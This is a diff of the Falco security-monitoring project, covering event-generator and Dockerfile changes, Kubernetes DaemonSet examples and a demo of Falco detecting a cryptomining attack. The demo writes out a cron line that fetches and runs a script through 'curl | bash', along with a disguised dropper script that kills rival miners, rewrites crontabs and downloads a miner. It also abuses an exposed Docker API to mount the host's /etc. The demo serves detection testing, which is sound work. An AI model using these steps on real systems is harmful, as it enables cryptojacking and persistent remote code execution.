+RUN rm -rf /usr/bin/clang \
+ && rm -rf /usr/bin/llc \
+ && ln -s /usr/bin/clang-7 /usr/bin/clang \
+ && ln -s /usr/bin/llc-7 /usr/bin/llc
 
 RUN curl -s https://s3.amazonaws.com/download.draios.com/DRAIOS-GPG-KEY.public | apt-key add - \
  && curl -s -o /etc/apt/sources.list.d/draios.list http://download.draios.com/$FALCO_REPOSITORY/deb/draios.list \

docker/event-generator/event_generator.cpp

@@ -50,6 +50,8 @@ void usage(char *program)
 	printf("                                                     then read a sensitive file\n");
 	printf("          write_rpm_database                         Write to files below /var/lib/rpm\n");
 	printf("          spawn_shell                                Run a shell (bash)\n");
+	printf("                                                     Used by spawn_shell_under_httpd below\n");
+	printf("          spawn_shell_under_httpd                    Run a shell (bash) under a httpd process\n");
 	printf("          db_program_spawn_process                   As a database program, try to spawn\n");
 	printf("                                                     another program\n");
 	printf("          modify_binary_dirs                         Modify a file below /bin\n");
@@ -64,7 +66,7 @@ void usage(char *program)
 	printf("          non_sudo_setuid                            Setuid as a non-root user\n");
 	printf("          create_files_below_dev                     Create files below /dev\n");
 	printf("          exec_ls                                    execve() the program ls\n");
-	printf("                                                     (used by user_mgmt_binaries below)\n");
+	printf("                                                     (used by user_mgmt_binaries, db_program_spawn_process)\n");
 	printf("          user_mgmt_binaries                         Become the program \"vipw\", which triggers\n");
 	printf("                                                     rules related to user management programs\n");
 	printf("          exfiltration                               Read /etc/shadow and send it via udp to a\n");
@@ -230,9 +232,14 @@ void spawn_shell() {
 	}
 }
 
+void spawn_shell_under_httpd() {
+	printf("Becoming the program \"httpd\" and then spawning a shell\n");
+	respawn("./httpd", "spawn_shell", "0");
+}
+
 void db_program_spawn_process() {
-	printf("Becoming the program \"mysql\" and then spawning a shell\n");
-	respawn("./mysqld", "spawn_shell", "0");
+	printf("Becoming the program \"mysql\" and then running ls\n");
+	respawn("./mysqld", "exec_ls", "0");
 }
 
 void modify_binary_dirs() {
@@ -289,23 +296,21 @@ void system_user_interactive() {
 }
 
 void network_activity() {
-	printf("Opening a listening socket on port 8192...\n");
+	printf("Connecting a udp socket to 10.2.3.4:8192...\n");
 	int rc;
 	int sock = socket(PF_INET, SOCK_DGRAM, 0);
 	struct sockaddr_in localhost;
 
 	localhost.sin_family = AF_INET;
 	localhost.sin_port = htons(8192);
-	inet_aton("127.0.0.1", &(localhost.sin_addr));
+	inet_aton("10.2.3.4", &(localhost.sin_addr));
 
-	if((rc = bind(sock, (struct sockaddr *) &localhost, sizeof(localhost))) != 0)
+	if((rc = connect(sock, (struct sockaddr *) &localhost, sizeof(localhost))) != 0)
 	{
 		fprintf(stderr, "Could not bind listening socket to localhost: %s\n", strerror(errno));
 		return;
 	}
 
-	listen(sock, 1);
-
 	close(sock);
 }
 
@@ -360,6 +365,7 @@ map<string, action_t> defined_actions = {{"write_binary_dir", write_binary_dir},
 					 {"read_sensitive_file_after_startup", read_sensitive_file_after_startup},
 					 {"write_rpm_database", write_rpm_database},
 					 {"spawn_shell", spawn_shell},
+					 {"spawn_shell_under_httpd", spawn_shell_under_httpd},
 					 {"db_program_spawn_process", db_program_spawn_process},
 					 {"modify_binary_dirs", modify_binary_dirs},
 					 {"mkdir_binary_dirs", mkdir_binary_dirs},
@@ -375,7 +381,7 @@ map<string, action_t> defined_actions = {{"write_binary_dir", write_binary_dir},
 
 // Some actions don't directly result in suspicious behavior. These
 // actions are excluded from the ones run with -a all.
-set<string> exclude_from_all_actions = {"exec_ls", "network_activity"};
+set<string> exclude_from_all_actions = {"spawn_shell", "exec_ls", "network_activity"};
 
 void create_symlinks(const char *program)
 {

docker/local/Dockerfile

@@ -14,29 +14,31 @@ RUN cp /etc/skel/.bashrc /root && cp /etc/skel/.profile /root
 
 ADD http://download.draios.com/apt-draios-priority /etc/apt/preferences.d/
 
-RUN echo "deb http://httpredir.debian.org/debian jessie main" > /etc/apt/sources.list.d/jessie.list \
- && apt-get update \
+RUN apt-get update \
  && apt-get install -y --no-install-recommends \
 	bash-completion \
-	curl \
-	jq \
-	gnupg2 \
+	bc \
+	clang-7 \
 	ca-certificates \
+	curl \
+	dkms \
+	gnupg2 \
 	gcc \
 	gcc-5 \
-	gcc-4.9 \
-	dkms && rm -rf /var/lib/apt/lists/*
+	jq \
+	libc6-dev \
+	libelf-dev \
+	llvm-7 \
+ && rm -rf /var/lib/apt/lists/*
 
-# Since our base Debian image ships with GCC 5.0 which breaks older kernels, revert the
-# default to gcc-4.9. Also, since some customers use some very old distributions whose kernel
-# makefile is hardcoded for gcc-4.6 or so (e.g. Debian Wheezy), we pretend to have gcc 4.6/4.7
-# by symlinking it to 4.9
+# Since our base Debian image ships with GCC 7 which breaks older kernels, revert the
+# default to gcc-5.
+RUN rm -rf /usr/bin/gcc && ln -s /usr/bin/gcc-5 /usr/bin/gcc
 
-RUN rm -rf /usr/bin/gcc \
- && ln -s /usr/bin/gcc-4.9 /usr/bin/gcc \
- && ln -s /usr/bin/gcc-4.9 /usr/bin/gcc-4.8 \
- && ln -s /usr/bin/gcc-4.9 /usr/bin/gcc-4.7 \
- && ln -s /usr/bin/gcc-4.9 /usr/bin/gcc-4.6
+RUN rm -rf /usr/bin/clang \
+ && rm -rf /usr/bin/llc \
+ && ln -s /usr/bin/clang-7 /usr/bin/clang \
+ && ln -s /usr/bin/llc-7 /usr/bin/llc
 
 RUN ln -s $SYSDIG_HOST_ROOT/lib/modules /lib/modules
 

docker/stable/Dockerfile

@@ -14,28 +14,30 @@ RUN cp /etc/skel/.bashrc /root && cp /etc/skel/.profile /root
 
 ADD http://download.draios.com/apt-draios-priority /etc/apt/preferences.d/
 
-RUN echo "deb http://httpredir.debian.org/debian jessie main" > /etc/apt/sources.list.d/jessie.list \
- && apt-get update \
+RUN apt-get update \
  && apt-get install -y --no-install-recommends \
 	bash-completion \
-	curl \
-	jq \
+	bc \
+	clang-7 \
 	ca-certificates \
+	curl \
 	gnupg2 \
 	gcc \
 	gcc-5 \
-	gcc-4.9 && rm -rf /var/lib/apt/lists/*
+	jq \
+	libc6-dev \
+	libelf-dev \
+	llvm-7 \
+ && rm -rf /var/lib/apt/lists/*
 
-# Since our base Debian image ships with GCC 5.0 which breaks older kernels, revert the
-# default to gcc-4.9. Also, since some customers use some very old distributions whose kernel
-# makefile is hardcoded for gcc-4.6 or so (e.g. Debian Wheezy), we pretend to have gcc 4.6/4.7
-# by symlinking it to 4.9
+# Since our base Debian image ships with GCC 7 which breaks older kernels, revert the
+# default to gcc-5.
+RUN rm -rf /usr/bin/gcc && ln -s /usr/bin/gcc-5 /usr/bin/gcc
 
-RUN rm -rf /usr/bin/gcc \
- && ln -s /usr/bin/gcc-4.9 /usr/bin/gcc \
- && ln -s /usr/bin/gcc-4.9 /usr/bin/gcc-4.8 \
- && ln -s /usr/bin/gcc-4.9 /usr/bin/gcc-4.7 \
- && ln -s /usr/bin/gcc-4.9 /usr/bin/gcc-4.6
+RUN rm -rf /usr/bin/clang \
+ && rm -rf /usr/bin/llc \
+ && ln -s /usr/bin/clang-7 /usr/bin/clang \
+ && ln -s /usr/bin/llc-7 /usr/bin/llc
 
 RUN curl -s https://s3.amazonaws.com/download.draios.com/DRAIOS-GPG-KEY.public | apt-key add - \
  && curl -s -o /etc/apt/sources.list.d/draios.list http://download.draios.com/$FALCO_REPOSITORY/deb/draios.list \

examples/bad-mount-cryptomining/README.md

@@ -0,0 +1,117 @@
+# Demo of Falco Detecting Cryptomining Exploit
+
+## Introduction
+
+Based on a [blog post](https://sysdig.com/blog/detecting-cryptojacking/) we wrote, this example shows how an overly permissive container environment can be exploited to install cryptomining software and how use of the exploit can be detected using Sysdig Falco.
+
+Although the exploit in the blog post involved modifying the cron configuration on the host filesystem, in this example we keep the host filesystem untouched. Instead, we have a container play the role of the "host", and set up everything using [docker-compose](https://docs.docker.com/compose/) and [docker-in-docker](https://hub.docker.com/_/docker/).
+
+## Requirements
+
+In order to run this example, you need Docker Engine >= 1.13.0 and docker-compose >= 1.10.0, as well as curl.
+
+## Example architecture
+
+The example consists of the following:
+
+* `host-machine`: A docker-in-docker instance that plays the role of the host machine. It runs a cron daemon and an independent copy of the docker daemon that listens on port 2375. This port is exposed to the world, and this port is what the attacker will use to install new software on the host.
+* `attacker-server`: A nginx instance that serves the malicious files and scripts using by the attacker.
+* `falco`: A Falco instance to detect the suspicious activity. It connects to the docker daemon on `host-machine` to fetch container information.
+
+All of the above are configured in the docker-compose file [demo.yml](./demo.yml).
+
+A separate container is created to launch the attack:
+
+* `docker123321-mysql` An [alpine](https://hub.docker.com/_/alpine/) container that mounts /etc from `host-machine` into /mnt/etc within the container. The json container description is in the file [docker123321-mysql-container.json](./docker123321-mysql-container.json).
+
+## Example Walkthrough
+
+### Start everything using docker-compose
+
+To make sure you're starting from scratch, first run `docker-compose -f demo.yml down -v` to remove any existing containers, volumes, etc.
+
+Then run `docker-compose -f demo.yml up --build` to create the `host-machine`, `attacker-server`, and `falco` containers.
+
+You will see fairly verbose output from dockerd:
+
+```
+host-machine_1     | crond: crond (busybox 1.27.2) started, log level 6
+host-machine_1     | time="2018-03-15T15:59:51Z" level=info msg="starting containerd" module=containerd revision=9b55aab90508bd389d7654c4baf173a981477d55 version=v1.0.1
+host-machine_1     | time="2018-03-15T15:59:51Z" level=info msg="loading plugin "io.containerd.content.v1.content"..." module=containerd type=io.containerd.content.v1
+host-machine_1     | time="2018-03-15T15:59:51Z" level=info msg="loading plugin "io.containerd.snapshotter.v1.btrfs"..." module=containerd type=io.containerd.snapshotter.v1
+```
+
+When you see log output like the following, you know that falco is started and ready:
+
+```
+falco_1            | Wed Mar 14 22:37:12 2018: Falco initialized with configuration file /etc/falco/falco.yaml
+falco_1            | Wed Mar 14 22:37:12 2018: Parsed rules from file /etc/falco/falco_rules.yaml
+falco_1            | Wed Mar 14 22:37:12 2018: Parsed rules from file /etc/falco/falco_rules.local.yaml
+```
+
+### Launch malicious container
+
+To launch the malicious container, we will connect to the docker instance running in `host-machine`, which has exposed port 2375 to the world. We create and start a container via direct use of the docker API (although you can do the same via `docker run -H http://localhost:2375 ...`.
+
+The script `launch_malicious_container.sh` performs the necessary POSTs:
+
+* `http://localhost:2375/images/create?fromImage=alpine&tag=latest`
+* `http://localhost:2375/containers/create?&name=docker123321-mysql`
+* `http://localhost:2375/containers/docker123321-mysql/start`
+
+Run the script via `bash launch_malicious_container.sh`.
+
+### Examine cron output as malicious software is installed & run
+
+`docker123321-mysql` writes the following line to `/mnt/etc/crontabs/root`, which corresponds to `/etc/crontabs/root` on the host:
+
+```
+* * * * * curl -s http://attacker-server:8220/logo3.jpg | bash -s
+```
+
+It also touches the file `/mnt/etc/crontabs/cron.update`, which corresponds to `/etc/crontabs/cron/update` on the host, to force cron to re-read its cron configuration. This ensures that every minute, cron will download the script (disguised as [logo3.jpg](attacker_files/logo3.jpg))  from `attacker-server` and run it.
+
+You can see `docker123321-mysql` running by checking the container list for the docker instance running in `host-machine` via `docker -H localhost:2375 ps`. You should see output like the following:
+
+```
+CONTAINER ID        IMAGE               COMMAND                  CREATED              STATUS              PORTS               NAMES
+68ed578bd034        alpine:latest       "/bin/sh -c 'echo '*…"   About a minute ago   Up About a minute                       docker123321-mysql
+```
+
+Once the cron job runs, you will see output like the following:
+
+```
+host-machine_1     | crond: USER root pid 187 cmd curl -s http://attacker-server:8220/logo3.jpg | bash -s
+host-machine_1     | ***Checking for existing Miner program
+attacker-server_1  | 172.22.0.4 - - [14/Mar/2018:22:38:00 +0000] "GET /logo3.jpg HTTP/1.1" 200 1963 "-" "curl/7.58.0" "-"
+host-machine_1     | ***Killing competing Miner programs
+host-machine_1     | ***Reinstalling cron job to run Miner program
+host-machine_1     | ***Configuring Miner program
+attacker-server_1  | 172.22.0.4 - - [14/Mar/2018:22:38:00 +0000] "GET /config_1.json HTTP/1.1" 200 50 "-" "curl/7.58.0" "-"
+attacker-server_1  | 172.22.0.4 - - [14/Mar/2018:22:38:00 +0000] "GET /minerd HTTP/1.1" 200 87 "-" "curl/7.58.0" "-"
+host-machine_1     | ***Configuring system for Miner program
+host-machine_1     | vm.nr_hugepages = 9
+host-machine_1     | ***Running Miner program
+host-machine_1     | ***Ensuring Miner program is alive
+host-machine_1     |   238 root       0:00 {jaav} /bin/bash ./jaav -c config.json -t 3
+host-machine_1     | /var/tmp
+host-machine_1     | runing.....
+host-machine_1     | ***Ensuring Miner program is alive
+host-machine_1     |   238 root       0:00 {jaav} /bin/bash ./jaav -c config.json -t 3
+host-machine_1     | /var/tmp
+host-machine_1     | runing.....
+```
+
+### Observe Falco detecting malicious activity
+
+To observe Falco detecting the malicious activity, you can look for `falco_1` lines in the output. Falco will detect the container launch with the sensitive mount:
+
+```
+falco_1            | 22:37:24.478583438: Informational Container with sensitive mount started (user=root command=runc:[1:CHILD] init docker123321-mysql (id=97587afcf89c) image=alpine:latest mounts=/etc:/mnt/etc::true:rprivate)
+falco_1            | 22:37:24.479565025: Informational Container with sensitive mount started (user=root command=sh -c echo '* * * * * curl -s http://attacker-server:8220/logo3.jpg | bash -s' >> /mnt/etc/crontabs/root && sleep 300 docker123321-mysql (id=97587afcf89c) image=alpine:latest mounts=/etc:/mnt/etc::true:rprivate)
+```
+
+### Cleanup
+
+To tear down the environment, stop the script using ctrl-C and remove everything using `docker-compose -f demo.yml down -v`.
+

examples/bad-mount-cryptomining/attacker-nginx.conf

@@ -0,0 +1,14 @@
+server {
+    listen       8220;
+    server_name  localhost;
+
+    location / {
+        root   /usr/share/nginx/html;
+        index  index.html index.htm;
+    }
+
+    error_page   500 502 503 504  /50x.html;
+    location = /50x.html {
+        root   /usr/share/nginx/html;
+    }
+}

examples/bad-mount-cryptomining/attacker_files/config_1.json

@@ -0,0 +1 @@
+{"config": "some-bitcoin-miner-config-goes-here"}

examples/bad-mount-cryptomining/attacker_files/logo3.jpg

@@ -0,0 +1,64 @@
+#!/bin/sh
+echo "***Checking for existing Miner program"
+ps -fe|grep jaav |grep -v grep
+if [ $? -eq 0 ]
+then
+pwd
+else
+
+echo "***Killing competing Miner programs"
+rm -rf /var/tmp/ysjswirmrm.conf
+rm -rf /var/tmp/sshd
+ps auxf|grep -v grep|grep -v ovpvwbvtat|grep "/tmp/"|awk '{print $2}'|xargs -r kill -9
+ps auxf|grep -v grep|grep "\./"|grep 'httpd.conf'|awk '{print $2}'|xargs -r kill -9
+ps auxf|grep -v grep|grep "\-p x"|awk '{print $2}'|xargs -r kill -9
+ps auxf|grep -v grep|grep "stratum"|awk '{print $2}'|xargs -r kill -9
+ps auxf|grep -v grep|grep "cryptonight"|awk '{print $2}'|xargs -r kill -9
+ps auxf|grep -v grep|grep "ysjswirmrm"|awk '{print $2}'|xargs -r kill -9
+
+echo "***Reinstalling cron job to run Miner program"
+crontab -r || true && \
+echo "* * * * * curl -s http://attacker-server:8220/logo3.jpg | bash -s" >> /tmp/cron || true && \
+crontab /tmp/cron || true && \
+rm -rf /tmp/cron || true
+
+echo "***Configuring Miner program"
+curl -so /var/tmp/config.json http://attacker-server:8220/config_1.json
+curl -so /var/tmp/jaav http://attacker-server:8220/minerd
+chmod 777 /var/tmp/jaav
+cd /var/tmp
+
+echo "***Configuring system for Miner program"
+cd /var/tmp
+proc=`grep -c ^processor /proc/cpuinfo`
+cores=$(($proc+1))
+num=$(($cores*3))
+/sbin/sysctl -w vm.nr_hugepages=$num
+
+echo "***Running Miner program"
+nohup ./jaav -c config.json -t `echo $cores` >/dev/null &
+fi
+
+echo "***Ensuring Miner program is alive"
+ps -fe|grep jaav |grep -v grep
+if [ $? -eq 0 ]
+then
+pwd
+else
+
+echo "***Reconfiguring Miner program"
+curl -so /var/tmp/config.json http://attacker-server:8220/config_1.json
+curl -so /var/tmp/jaav http://attacker-server:8220/minerd
+chmod 777 /var/tmp/jaav
+cd /var/tmp
+
+echo "***Reconfiguring system for Miner program"
+proc=`grep -c ^processor /proc/cpuinfo`
+cores=$(($proc+1))
+num=$(($cores*3))
+/sbin/sysctl -w vm.nr_hugepages=$num
+
+echo "***Restarting Miner program"
+nohup ./jaav -c config.json -t `echo $cores` >/dev/null &
+fi
+echo "runing....."

examples/bad-mount-cryptomining/attacker_files/minerd

@@ -0,0 +1,8 @@
+#!/bin/bash
+
+while true; do
+      echo "Mining bitcoins..."
+      sleep 60
+done
+
+      

examples/bad-mount-cryptomining/demo.yml

@@ -0,0 +1,41 @@
+version: '3'
+
+volumes:
+  host-filesystem:
+  docker-socket:
+
+services:
+  host-machine:
+    privileged: true
+    build:
+      context: ${PWD}/host-machine
+      dockerfile: ${PWD}/host-machine/Dockerfile
+    volumes:
+      - host-filesystem:/etc
+      - docker-socket:/var/run
+    ports:
+      - "2375:2375"
+    depends_on:
+      - "falco"
+
+  attacker-server:
+    image: nginx:latest
+    ports:
+      - "8220:8220"
+    volumes:
+      - ${PWD}/attacker_files:/usr/share/nginx/html
+      - ${PWD}/attacker-nginx.conf:/etc/nginx/conf.d/default.conf
+    depends_on:
+      - "falco"      
+  
+  falco:
+    image: sysdig/falco:latest
+    privileged: true
+    volumes:
+      - docker-socket:/host/var/run
+      - /dev:/host/dev
+      - /proc:/host/proc:ro
+      - /boot:/host/boot:ro
+      - /lib/modules:/host/lib/modules:ro
+      - /usr:/host/usr:ro
+    tty: true

examples/bad-mount-cryptomining/docker123321-mysql-container.json

@@ -0,0 +1,7 @@
+{
+    "Cmd": ["/bin/sh", "-c", "echo '* * * * * curl -s http://attacker-server:8220/logo3.jpg | bash -s' >> /mnt/etc/crontabs/root && touch /mnt/etc/crontabs/cron.update && sleep 300"],
+    "Image": "alpine:latest",
+    "HostConfig": {
+	"Binds": ["/etc:/mnt/etc"]
+    }
+}

examples/bad-mount-cryptomining/host-machine/Dockerfile

@@ -0,0 +1,12 @@
+FROM docker:stable-dind
+
+RUN set -ex \
+    && apk add --no-cache \
+    bash curl
+
+COPY start-cron-and-dind.sh /usr/local/bin
+
+ENTRYPOINT ["start-cron-and-dind.sh"]
+CMD []
+
+

examples/bad-mount-cryptomining/host-machine/start-cron-and-dind.sh

@@ -0,0 +1,11 @@
+#!/bin/sh
+
+# Start docker-in-docker, but backgrounded with its output still going
+# to stdout/stderr.
+dockerd-entrypoint.sh &
+
+# Start cron in the foreground with a moderate level of debugging to
+# see job output.
+crond -f -d 6
+
+

examples/bad-mount-cryptomining/launch_malicious_container.sh

@@ -0,0 +1,14 @@
+#!/bin/sh
+
+echo "Pulling alpine:latest image to docker-in-docker instance"
+curl -X POST 'http://localhost:2375/images/create?fromImage=alpine&tag=latest'
+
+echo "Creating container mounting /etc from host-machine"
+curl -H 'Content-Type: application/json' -d @docker123321-mysql-container.json -X POST 'http://localhost:2375/containers/create?&name=docker123321-mysql'
+
+echo "Running container mounting /etc from host-machine"
+curl -H 'Content-Type: application/json' -X POST 'http://localhost:2375/containers/docker123321-mysql/start'
+
+
+
+

examples/k8s-using-daemonset/README.md

@@ -1,5 +1,92 @@
-# Example K8s Services for Falco
+# Example Kubernetes Daemon Sets for Sysdig Falco
 
-The yaml file in this directory installs the following:
- - Open Source Falco, as a DaemonSet. Falco is configured to communicate with the K8s API server via its service account, and changes its output to be K8s-friendly. It also sends to a slack webhook for the `#demo-falco-alerts` channel on our [public slack](https://sysdig.slack.com/messages/demo-falco-alerts/).
- - The [Falco Event Generator](https://github.com/draios/falco/wiki/Generating-Sample-Events), as a deployment that ensures it runs on exactly 1 node.
+This directory gives you the required YAML files to stand up Sysdig Falco on Kubernetes as a Daemon Set. This will result in a Falco Pod being deployed to each node, and thus the ability to monitor any running containers for abnormal behavior. 
+
+The two options are provided to deploy a Daemon Set:
+- `k8s-with-rbac` - This directory provides a definition to deploy a Daemon Set on Kubernetes with RBAC enabled.
+- `k8s-without-rbac` - This directory provides a definition to deploy a Daemon Set on Kubernetes without RBAC enabled. 
+
+Also provided:
+- `falco-event-generator-deployment.yaml` - A Kubernetes Deployment to generate sample events. This is useful for testing, but note it will generate a large number of events.
+
+## Deploying to Kubernetes with RBAC enabled
+
+Since v1.8 RBAC has been available in Kubernetes, and running with RBAC enabled is considered the best practice. The `k8s-with-rbac` directory provides the YAML to create a Service Account for Falco, as well as the ClusterRoles and bindings to grant the appropriate permissions to the Service Account.
+
+```
+k8s-using-daemonset$ kubectl create -f k8s-with-rbac/falco-account.yaml
+serviceaccount "falco-account" created
+clusterrole "falco-cluster-role" created
+clusterrolebinding "falco-cluster-role-binding" created
+k8s-using-daemonset$
+```
+
+The Daemon Set also relies on a Kubernetes ConfigMap to store the Falco configuration and make the configuration available to the Falco Pods. This allows you to manage custom configuration without rebuilding and redeploying the underlying Pods. In order to create the ConfigMap you'll need to first need to copy the required configuration from their location in this GitHub repo to the `k8s-with-rbac/falco-config/` directory. Any modification of the configuration should be performed on these copies rather than the original files.
+
+```
+k8s-using-daemonset$ cp ../../falco.yaml k8s-with-rbac/falco-config/
+k8s-using-daemonset$ cp ../../rules/falco_rules.* k8s-with-rbac/falco-config/
+```
+
+If you want to send Falco alerts to a Slack channel, you'll want to modify the `falco.yaml` file to point to your Slack webhook. For more information on getting a webhook URL for your Slack team, refer to the [Slack documentation](https://api.slack.com/incoming-webhooks). Add the below to the bottom of the `falco.yaml` config file you just copied to enable Slack messages.
+
+```
+program_output:
+  enabled: true
+  keep_alive: false
+  program: "jq '{text: .output}' | curl -d @- -X POST https://hooks.slack.com/services/see_your_slack_team/apps_settings_for/a_webhook_url"
+```
+
+You will also need to enable JSON output. Find the `json_output: false` setting in the `falco.yaml` file and change it to read `json_output: true`. Any custom rules for your environment can be added to into the `falco_rules.local.yaml` file and they will be picked up by Falco at start time. You can now create the ConfigMap in Kubernetes. 
+
+```
+k8s-using-daemonset$ kubectl create configmap falco-config --from-file=k8s-with-rbac/falco-config
+configmap "falco-config" created
+k8s-using-daemonset$
+```
+
+Now that we have the requirements for our Daemon Set in place, we can create our Daemon Set.
+
+```
+k8s-using-daemonset$ kubectl create -f k8s-with-rbac/falco-daemonset-configmap.yaml 
+daemonset "falco" created
+k8s-using-daemonset$
+```
+
+
+## Deploying to Kubernetes without RBAC enabled
+
+If you are running Kubernetes with Legacy Authorization enabled, you can use `kubectl` to deploy the Daemon Set provided in the `k8s-without-rbac` directory. The example provides the ability to post messages to a Slack channel via a webhook. For more information on getting a webhook URL for your Slack team, refer to the [Slack documentation](https://api.slack.com/incoming-webhooks). Modify the [`args`](https://github.com/draios/falco/blob/dev/examples/k8s-using-daemonset/falco-daemonset.yaml#L21) passed to the Falco container to point to the appropriate URL for your webhook.
+
+```
+k8s-using-daemonset$ kubectl create -f k8s-without-rbac/falco-daemonset.yaml
+```
+
+
+## Verifying the installation
+
+In order to test that Falco is working correctly, you can launch a shell in a Pod. You should see a message in your Slack channel (if configured), or in the logs of the Falco pod.
+
+```
+k8s-using-daemonset$ kubectl get pods
+NAME          READY     STATUS    RESTARTS   AGE
+falco-74htl   1/1       Running   0          13h
+falco-fqz2m   1/1       Running   0          13h
+falco-sgjfx   1/1       Running   0          13h
+k8s-using-daemonset$ kubectl exec -it falco-74htl bash
+root@falco-74htl:/# exit
+k8s-using-daemonset$ kubectl logs falco-74htl
+{"output":"17:48:58.590038385: Notice A shell was spawned in a container with an attached terminal (user=root k8s.pod=falco-74htl container=a98c2aa8e670 shell=bash parent=<NA> cmdline=bash  terminal=34816)","priority":"Notice","rule":"Terminal shell in container","time":"2017-12-20T17:48:58.590038385Z", "output_fields": {"container.id":"a98c2aa8e670","evt.time":1513792138590038385,"k8s.pod.name":"falco-74htl","proc.cmdline":"bash ","proc.name":"bash","proc.pname":null,"proc.tty":34816,"user.name":"root"}}
+k8s-using-daemonset$
+``` 
+
+Alternatively, you can deploy the [Falco Event Generator](https://github.com/draios/falco/wiki/Generating-Sample-Events) deployement to have events automatically generated. Please note that this Deployment will generate a large number of events. 
+
+```
+k8s-using-daemonset$ kubectl create -f falco-event-generator-deployment.yaml \
+&& sleep 1 \
+&& kubectl delete -f falco-event-generator-deployment.yaml
+deployment "falco-event-generator-deployment" created
+deployment "falco-event-generator-deployment" deleted
+k8s-using-daemonset$ 
+```

examples/k8s-using-daemonset/k8s-with-rbac/falco-account.yaml

@@ -0,0 +1,29 @@
+apiVersion: v1
+kind: ServiceAccount
+metadata:
+  name: falco-account
+---
+kind: ClusterRole
+apiVersion: rbac.authorization.k8s.io/v1beta1
+metadata:
+  name: falco-cluster-role
+rules:
+  - apiGroups: ["extensions",""]
+    resources: ["nodes","namespaces","pods","replicationcontrollers","services","events","configmaps"]
+    verbs: ["get","list","watch"]
+  - nonResourceURLs: ["/healthz", "/healthz/*"]
+    verbs: ["get"]
+---
+kind: ClusterRoleBinding
+apiVersion: rbac.authorization.k8s.io/v1beta1
+metadata:
+  name: falco-cluster-role-binding
+  namespace: default
+subjects:
+  - kind: ServiceAccount
+    name: falco-account
+    namespace: default
+roleRef:
+  kind: ClusterRole
+  name: falco-cluster-role
+  apiGroup: rbac.authorization.k8s.io

examples/k8s-using-daemonset/k8s-with-rbac/falco-daemonset-configmap.yaml

@@ -0,0 +1,63 @@
+apiVersion: extensions/v1beta1
+kind: DaemonSet
+metadata:
+  name: falco
+  labels:
+    name: falco-daemonset
+    app: demo
+spec:
+  template:
+    metadata:
+      labels:
+        name: falco
+        app: demo
+        role: security
+    spec:
+      serviceAccount: falco-account
+      containers:
+        - name: falco
+          image: sysdig/falco:latest
+          securityContext:
+            privileged: true
+          args: [ "/usr/bin/falco", "-K", "/var/run/secrets/kubernetes.io/serviceaccount/token", "-k", "https://kubernetes.default", "-pk"]
+          volumeMounts:
+            - mountPath: /host/var/run/docker.sock
+              name: docker-socket
+            - mountPath: /host/dev
+              name: dev-fs
+            - mountPath: /host/proc
+              name: proc-fs
+              readOnly: true
+            - mountPath: /host/boot
+              name: boot-fs
+              readOnly: true
+            - mountPath: /host/lib/modules
+              name: lib-modules
+              readOnly: true
+            - mountPath: /host/usr
+              name: usr-fs
+              readOnly: true
+            - mountPath: /etc/falco
+              name: falco-config
+      volumes:
+        - name: docker-socket
+          hostPath:
+            path: /var/run/docker.sock
+        - name: dev-fs
+          hostPath:
+            path: /dev
+        - name: proc-fs
+          hostPath:
+            path: /proc
+        - name: boot-fs
+          hostPath:
+            path: /boot
+        - name: lib-modules
+          hostPath:
+            path: /lib/modules
+        - name: usr-fs
+          hostPath:
+            path: /usr
+        - name: falco-config
+          configMap:
+            name: falco-config

examples/k8s-using-daemonset/k8s-without-rbac/falco-daemonset.yaml

@@ -18,14 +18,12 @@ spec:
           image: sysdig/falco:latest
           securityContext:
             privileged: true
-          args: [ "/usr/bin/falco", "-K", "/var/run/secrets/kubernetes.io/serviceaccount/token", "-k", "https://kubernetes", "-pk", "-o", "json_output=true", "-o", "program_output.enabled=true", "-o",  "program_output.program=jq '{text: .output}' | curl -d @- -X POST https://hooks.slack.com/services/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"]
+          args: [ "/usr/bin/falco", "-K", "/var/run/secrets/kubernetes.io/serviceaccount/token", "-k", "https://kubernetes.default", "-pk", "-o", "json_output=true", "-o", "program_output.enabled=true", "-o",  "program_output.program=jq '{text: .output}' | curl -d @- -X POST https://hooks.slack.com/services/see_your_slack_team/apps_settings_for/a_webhook_url"]
           volumeMounts:
             - mountPath: /host/var/run/docker.sock
               name: docker-socket
-              readOnly: true
             - mountPath: /host/dev
               name: dev-fs
-              readOnly: true
             - mountPath: /host/proc
               name: proc-fs
               readOnly: true

examples/logrotate/falco

@@ -0,0 +1,7 @@
+/var/log/falco-events.log {
+    rotate 5
+    size 1M
+    postrotate
+        /usr/bin/killall -USR1 falco
+    endscript
+}

examples/nodejs-bad-rest-api/demo.yml

@@ -1,11 +1,9 @@
-# Owned by software vendor, serving install-software.sh.
 express_server:
   container_name: express_server
   image: node:latest
-  working_dir: /usr/src/app
-  command: bash -c "npm install && node server.js"
+  command: bash -c "apt-get -y update && apt-get -y install runit && npm install && runsv /usr/src/app"
   ports:
-    - "8080:8080"
+    - "8181:8181"
   volumes:
         - ${PWD}:/usr/src/app
 

examples/nodejs-bad-rest-api/run

@@ -0,0 +1,2 @@
+#!/bin/sh
+node server.js

examples/nodejs-bad-rest-api/server.js

@@ -2,13 +2,13 @@ var express    = require('express');        // call express
 var app        = express();                 // define our app using express
 var child_process = require('child_process');
 
-var port = process.env.PORT || 8080;        // set our port
+var port = process.env.PORT || 8181;        // set our port
 
 // ROUTES FOR OUR API
 // =============================================================================
 var router = express.Router();              // get an instance of the express Router
 
-// test route to make sure everything is working (accessed at GET http://localhost:8080/api)
+// test route to make sure everything is working (accessed at GET http://localhost:8181/api)
 router.get('/', function(req, res) {
     res.json({ message: 'API available'});
 });

examples/puppet-module/README.md

@@ -0,0 +1,3 @@
+# Example Puppet Falco Module
+
+This contains an example [Puppet](https://puppet.com/) module for Falco.

examples/puppet-module/sysdig-falco/Gemfile

@@ -0,0 +1,7 @@
+source 'https://rubygems.org'
+
+puppetversion = ENV.key?('PUPPET_VERSION') ? "= #{ENV['PUPPET_VERSION']}" : ['>= 3.3']
+gem 'puppet', puppetversion
+gem 'puppetlabs_spec_helper', '>= 0.1.0'
+gem 'puppet-lint', '>= 0.3.2'
+gem 'facter', '>= 1.7.0'

examples/puppet-module/sysdig-falco/README.md

@@ -0,0 +1,241 @@
+# falco
+
+#### Table of Contents
+
+1. [Overview](#overview)
+2. [Module Description - What the module does and why it is useful](#module-description)
+3. [Setup - The basics of getting started with falco](#setup)
+    * [What falco affects](#what-falco-affects)
+    * [Beginning with falco](#beginning-with-falco)
+4. [Usage - Configuration options and additional functionality](#usage)
+5. [Reference - An under-the-hood peek at what the module is doing and how](#reference)
+5. [Limitations - OS compatibility, etc.](#limitations)
+6. [Development - Guide for contributing to the module](#development)
+
+## Overview
+
